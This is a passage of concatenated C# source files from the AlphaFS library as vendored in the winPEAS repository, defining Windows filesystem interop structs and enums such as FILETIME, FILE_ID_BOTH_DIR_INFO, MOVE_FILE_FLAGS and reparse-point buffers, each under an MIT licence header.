namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// Represents the number of 100-nanosecond intervals since January 1, 1601. This structure is a 64-bit value. [Serializable] [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct FILETIME { #region Fields private readonly uint dwLowDateTime; private readonly uint dwHighDateTime; #endregion // Fields #region Methods /// Converts a value to long. public static implicit operator long(FILETIME ft) { return ft.ToLong(); } /// Converts a value to long. [SuppressMessage("Microsoft.Naming", "CA1720:IdentifiersShouldNotContainTypeNames", MessageId = "long")] public long ToLong() { return NativeMethods.ToLong(dwHighDateTime, dwLowDateTime); } #endregion #region Equality #region Equals /// Determines whether the specified Object is equal to the current Object. /// Another object to compare to. /// true if the specified Object is equal to the current Object; otherwise, false. public override bool Equals(object obj) { if (null == obj || GetType() != obj.GetType()) return false; var other = obj as FILETIME? ?? new FILETIME(); return other.dwHighDateTime.Equals(dwHighDateTime) && other.dwLowDateTime.Equals(dwLowDateTime); } #endregion // Equals #region GetHashCode /// Serves as a hash function for a particular type. /// A hash code for the current Object. public override int GetHashCode() { unchecked { var hash = 17; hash = hash * 23 + dwHighDateTime.GetHashCode(); hash = hash * 11 + dwLowDateTime.GetHashCode(); return hash; } } #endregion // GetHashCode #region == /// Implements the operator == /// A. /// B. /// The result of the operator. public static bool operator ==(FILETIME left, FILETIME right) { return left.Equals(right); } #endregion // == #region != /// Implements the operator != /// A. /// B. /// The result of the operator. public static bool operator !=(FILETIME left, FILETIME right) { return !(left == right); } #endregion // != #endregion // Equality } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/FILE_BASIC_INFO.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Runtime.InteropServices; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// Contains the basic information for a file. Used for file handles. /// /// Specifying -1 for , , or /// indicates that operations on the current handle should not affect the given field. /// (I.e, specifying -1 for will leave the unaffected by writes performed /// on the current handle.) /// [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct FILE_BASIC_INFO { /// The time the file was created in format, /// which is a 64-bit value representing the number of 100-nanosecond intervals since January 1, 1601 (UTC). /// public FILETIME CreationTime; /// The time the file was last accessed in format. public FILETIME LastAccessTime; /// The time the file was last written to in format. public FILETIME LastWriteTime; /// The time the file was changed in format. public FILETIME ChangeTime; /// The file attributes. /// If this is set to 0 in a structure passed to SetFileInformationByHandle then none of the attributes are changed. public FileAttributes FileAttributes; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/FILE_ID_BOTH_DIR_INFO.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Runtime.InteropServices; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// Contains information about files in the specified directory. Used for directory handles. Use only when calling GetFileInformationByHandleEx. /// /// The number of files that are returned for each call to GetFileInformationByHandleEx depends on the size of the buffer that is passed to the function. /// Any subsequent calls to GetFileInformationByHandleEx on the same handle will resume the enumeration operation after the last file is returned. /// [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct FILE_ID_BOTH_DIR_INFO { /// The offset for the next FILE_ID_BOTH_DIR_INFO structure that is returned. Contains zero (0) if no other entries follow this one. [MarshalAs(UnmanagedType.U4)] public readonly int NextEntryOffset; /// The byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS, /// in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order. /// [MarshalAs(UnmanagedType.U4)] public readonly uint FileIndex; /// The time that the file was created. public FILETIME CreationTime; /// The time that the file was last accessed. public FILETIME LastAccessTime; /// The time that the file was last written to. public FILETIME LastWriteTime; /// The time that the file was last changed. public FILETIME ChangeTime; /// The absolute new end-of-file position as a byte offset from the start of the file to the end of the file. /// Because this value is zero-based, it actually refers to the first free byte in the file. /// In other words, EndOfFile is the offset to the byte that immediately follows the last valid byte in the file. /// public readonly long EndOfFile; /// The number of bytes that are allocated for the file. This value is usually a multiple of the sector or cluster size of the underlying physical device. public readonly long AllocationSize; /// The file attributes. public readonly FileAttributes FileAttributes; /// The length of the file name. [MarshalAs(UnmanagedType.U4)] public readonly uint FileNameLength; /// The size of the extended attributes for the file. [MarshalAs(UnmanagedType.U4)] public readonly int EaSize; /// The length of ShortName. [MarshalAs(UnmanagedType.U1)] public readonly byte ShortNameLength; /// The short 8.3 file naming convention (for example, "FILENAME.TXT") name of the file. [MarshalAs(UnmanagedType.ByValArray, SizeConst = 12, ArraySubType = UnmanagedType.U2)] public readonly char[] ShortName; /// The file ID. public readonly long FileId; /// The first character of the file name string. This is followed in memory by the remainder of the string. public IntPtr FileName; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/FILE_ID_INFO.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Runtime.InteropServices; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// Contains identification information for a file. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct FILE_ID_INFO { /// The serial number of the volume that contains a file. public readonly long VolumeSerialNumber; /// The 128-bit file identifier for the file. The file identifier and the volume serial number uniquely identify a file on a single computer. /// To determine whether two open handles represent the same file, combine the identifier and the volume serial number for each file and compare them. /// [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] public readonly byte[] FileId; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/FILE_INFO_BY_HANDLE_CLASS.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// Identifies the type of file information that GetFileInformationByHandleEx should retrieve or SetFileInformationByHandle should set. /// internal enum FILE_INFO_BY_HANDLE_CLASS { /// Minimal information for the file should be retrieved or set. Used for file handles. FILE_BASIC_INFO = 0, ///// Extended information for the file should be retrieved. Used for file handles. Use only when calling GetFileInformationByHandleEx. //FILE_STANDARD_INFO = 1, ///// The file name should be retrieved. Used for any handles. Use only when calling GetFileInformationByHandleEx. //FILE_NAME_INFO = 2, ///// The file name should be changed. Used for file handles. Use only when calling . //FILE_RENAME_INFO = 3, ///// The file should be deleted. Used for any handles. Use only when calling . //FILE_DISPOSITION_INFO = 4, ///// The file allocation information should be changed. Used for file handles. Use only when calling . //FILE_ALLOCATION_INFO = 5, ///// The end of the file should be set. Use only when calling . //FILE_END_OF_FILE_INFO = 6, ///// File stream information for the specified file should be retrieved. Used for any handles. Use only when calling GetFileInformationByHandleEx. //FILE_STREAM_INFO = 7, ///// File compression information should be retrieved. Used for any handles. Use only when calling GetFileInformationByHandleEx. //FILE_COMPRESSION_INFO = 8, ///// File attribute information should be retrieved. Used for any handles. Use only when calling GetFileInformationByHandleEx. //FILE_ATTRIBUTE_TAG_INFO = 9, /// Files in the specified directory should be retrieved. Used for directory handles. Use only when calling GetFileInformationByHandleEx. /// /// The number of files returned for each call to GetFileInformationByHandleEx /// depends on the size of the buffer that is passed to the function. /// Any subsequent calls to GetFileInformationByHandleEx on the same handle /// will resume the enumeration operation after the last file is returned. /// /// FILE_ID_BOTH_DIR_INFO = 10, ///// Identical to , but forces the enumeration operation to start again from the beginning. //FILE_ID_BOTH_DIR_INFO = 11, ///// Priority hint information should be set. Use only when calling . //FILE_IO_PRIORITY_HINT_INFO = 12, ///// File remote protocol information should be retrieved.Use for any handles. Use only when calling GetFileInformationByHandleEx. //FILE_REMOTE_PROTOCOL_INFO = 13, ///// Files in the specified directory should be retrieved. Used for directory handles. Use only when calling GetFileInformationByHandleEx. ///// ///// Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: ///// This value is not supported before Windows 8 and Windows Server 2012 ///// ///// //FILE_FULL_DIR_INFO = 14, ///// Identical to , but forces the enumeration operation to start again from the beginning. Use only when calling GetFileInformationByHandleEx. ///// ///// Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: ///// This value is not supported before Windows 8 and Windows Server 2012 ///// ///// //FILE_FULL_DIR_INFO = 15, ///// File storage information should be retrieved. Use for any handles. Use only when calling GetFileInformationByHandleEx. ///// ///// Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: ///// This value is not supported before Windows 8 and Windows Server 2012 ///// ///// //FILE_STORAGE_INFO = 16, ///// File alignment information should be retrieved. Use for any handles. Use only when calling GetFileInformationByHandleEx. ///// ///// Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: ///// This value is not supported before Windows 8 and Windows Server 2012 ///// ///// //FILE_ALIGNMENT_INFO = 17, /// File information should be retrieved. Use for any handles. Use only when calling GetFileInformationByHandleEx. /// /// Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: /// This value is not supported before Windows 8 and Windows Server 2012 /// /// FILE_ID_INFO = 18, ///// Files in the specified directory should be retrieved. Used for directory handles. Use only when calling GetFileInformationByHandleEx. ///// ///// Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: ///// This value is not supported before Windows 8 and Windows Server 2012 ///// ///// //FILE_ID_EXTD_DIR_INFO = 19, ///// Identical to , but forces the enumeration operation to start again from the beginning. Use only when calling GetFileInformationByHandleEx. ///// ///// Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: ///// This value is not supported before Windows 8 and Windows Server 2012 ///// ///// //FILE_ID_EXTD_DIR_INFO = 20 } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/FINDEX_INFO_LEVELS.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// FINDEX_INFO_LEVELS Enumeration - Defines values that are used with the FindFirstFileEx function to specify the information level of the returned data. /// /// Minimum supported client: Windows XP [desktop apps | Windows Store apps] /// Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps] /// internal enum FINDEX_INFO_LEVELS { /// A standard set of attribute is returned in a structure. Standard = 0, /// The FindFirstFileEx function does not query the short file name, improving overall enumeration speed. /// This value is not supported until Windows Server 2008 R2 and Windows 7. Basic = 1 ///// This value is used for validation. Supported values are less than this value. //MaxLevel } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/FINDEX_SEARCH_OPS.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// FINDEX_SEARCH_OPS Enumeration - Defines values that are used with the FindFirstFileEx function to specify the type of filtering to perform. /// /// Minimum supported client: Windows XP [desktop apps | Windows Store apps] /// Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps] /// internal enum FINDEX_SEARCH_OPS { /// The search for a file that matches a specified file name. /// The lpSearchFilter parameter of FindFirstFileEx must be NULL when this search operation is used. /// SearchNameMatch = 0, /// This is an advisory flag. If the file system supports directory filtering, /// the function searches for a file that matches the specified name and is also a directory. /// If the file system does not support directory filtering, this flag is silently ignored. ///   /// /// The lpSearchFilter parameter of the FindFirstFileEx function must be NULL when this search value is used. /// If directory filtering is desired, this flag can be used on all file systems, /// but because it is an advisory flag and only affects file systems that support it, /// the application must examine the file attribute data stored in the lpFindFileData parameter /// of the FindFirstFileEx function to determine whether the function has returned a handle to a directory. /// /// SearchLimitToDirectories = 1, /// This filtering type is not available. /// For more information, see Device Interface Classes. SearchLimitToDevices = 2 } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/FIND_FIRST_EX_FLAGS.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// Additional flags that control the search. [Flags] internal enum FIND_FIRST_EX_FLAGS { /// No additional flags used. NONE = 0, /// Searches are case-sensitive. CASE_SENSITIVE = 1, /// Uses a larger buffer for directory queries, which can increase performance of the find operation. /// This value is not supported until Windows Server 2008 R2 and Windows 7. LARGE_FETCH = 2 } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/GET_FILEEX_INFO_LEVELS.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// Defines values that are used with the GetFileAttributesEx and GetFileAttributesTransacted functions to specify the information level of the returned data. public enum GET_FILEEX_INFO_LEVELS { /// The GetFileAttributesEx or GetFileAttributesTransacted function retrieves a standard set of attribute information. The data is returned in a WIN32_FILE_ATTRIBUTE_DATA structure. GetFileExInfoStandard = 0 } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/MOVE_FILE_FLAGS.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { public enum MOVE_FILE_FLAGS { /// No MoveOptions used, this fails when the file name already exists. None = 0, /// MOVE_FILE_REPLACE_EXISTSING /// If the destination file name already exists, the function replaces its contents with the contents of the source file. /// This value cannot be used if lpNewFileName or lpExistingFileName names a directory. /// This value cannot be used if either source or destination names a directory. /// MOVE_FILE_REPLACE_EXISTSING = 1, /// MOVE_FILE_COPY_ALLOWED /// If the file is to be moved to a different volume, the function simulates the move by using the CopyFile and DeleteFile functions. /// This value cannot be used with . /// MOVE_FILE_COPY_ALLOWED = 2, /// MOVE_FILE_DELAY_UNTIL_REBOOT /// /// The system does not move the file until the operating system is restarted. /// The system moves the file immediately after AUTOCHK is executed, but before creating any paging files. /// /// /// Consequently, this parameter enables the function to delete paging files from previous startups. /// This value can only be used if the process is in the context of a user who belongs to the administrators group or the LocalSystem account. /// /// This value cannot be used with . /// MOVE_FILE_DELAY_UNTIL_REBOOT = 4, /// MOVE_FILE_WRITE_THROUGH /// The function does not return until the file has actually been moved on the disk. /// /// Setting this value guarantees that a move performed as a copy and delete operation is flushed to disk before the function returns. /// The flush occurs at the end of the copy operation. /// /// This value has no effect if is set. /// MOVE_FILE_WRITE_THROUGH = 8, /// MOVE_FILE_CREATE_HARDLINK /// Reserved for future use. /// MOVE_FILE_CREATE_HARDLINK = 16, /// MOVE_FILE_FAIL_IF_NOT_TRACKABLE /// The function fails if the source file is a link source, but the file cannot be tracked after the move. /// This situation can occur if the destination is a volume formatted with the FAT file system. /// MOVE_FILE_FAIL_IF_NOT_TRACKABLE = 32 } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/MountPointReparseBuffer.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Runtime.InteropServices; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct MountPointReparseBuffer { /// Offset, in bytes, of the substitute name string in the PathBuffer array. public ushort SubstituteNameOffset; /// Length, in bytes, of the substitute name string. If this string is null-terminated, SubstituteNameLength does not include space for the null character. public ushort SubstituteNameLength; /// Offset, in bytes, of the print name string in the PathBuffer array. public ushort PrintNameOffset; /// Length, in bytes, of the print name string. If this string is null-terminated, PrintNameLength does not include space for the null character. public ushort PrintNameLength; /// A buffer containing the unicode-encoded path string. The path string contains the substitute name string and print name string. [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] public byte[] data; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/REPARSE_DATA_BUFFER.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Runtime.InteropServices; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct REPARSE_DATA_BUFFER { /// Reparse point tag. Must be a Microsoft reparse point tag. public ReparsePointTag ReparseTag; /// Size, in bytes, of the data after the Reserved member. /// This can be calculated by: (4 * sizeof(ushort)) + SubstituteNameLength + PrintNameLength + (namesAreNullTerminated ? 2 * sizeof(char) : 0); /// public ushort ReparseDataLength; /// Reserved; do not use. public ushort Reserved; /// Offset, in bytes, of the substitute name string in the PathBuffer array. public ushort SubstituteNameOffset; /// Length, in bytes, of the substitute name string. If this string is null-terminated, SubstituteNameLength does not include space for the null character. public ushort SubstituteNameLength; /// Offset, in bytes, of the print name string in the PathBuffer array. public ushort PrintNameOffset; /// Length, in bytes, of the print name string. If this string is null-terminated, PrintNameLength does not include space for the null character. public ushort PrintNameLength; /// A buffer containing the unicode-encoded path string. The path string contains the substitute name string and print name string. [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16368)] public byte[] PathBuffer; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/ReparseDataBufferHeader.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Runtime.InteropServices; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct ReparseDataBufferHeader { /// Reparse point tag. Must be a Microsoft reparse point tag. [MarshalAs(UnmanagedType.U4)] public ReparsePointTag ReparseTag; /// Size, in bytes, of the data after the Reserved member. /// This can be calculated by: (4 * sizeof(ushort)) + SubstituteNameLength + 